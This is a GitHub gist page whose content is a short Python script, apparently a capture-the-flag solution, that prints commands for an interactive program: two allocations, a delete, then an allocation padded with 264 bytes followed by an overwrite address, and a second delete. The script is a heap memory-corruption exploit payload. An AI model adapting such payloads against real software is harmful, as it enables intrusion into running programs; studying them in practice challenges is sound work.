Skip to content

Instantly share code, notes, and snippets.

@Voultapher
Created February 3, 2018 10:01
Show Gist options
  • Save Voultapher/f3b55bfbd335d6f73a594bcbb72b5719 to your computer and use it in GitHub Desktop.
Save Voultapher/f3b55bfbd335d6f73a594bcbb72b5719 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
import sys
def print_crck():
overflow_str = b''.join([ b'a' for x in range(264) ])
sys.stdout.buffer.write(b'new a\n')
sys.stdout.buffer.write(b'new b\n')
sys.stdout.buffer.write(b'delete 0\n')
sys.stdout.buffer.write(b'new ' + overflow_str + b'\x9c\x0c\x40\n')
sys.stdout.buffer.write(b'delete 1\n')
if __name__ == '__main__':
print_crck()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment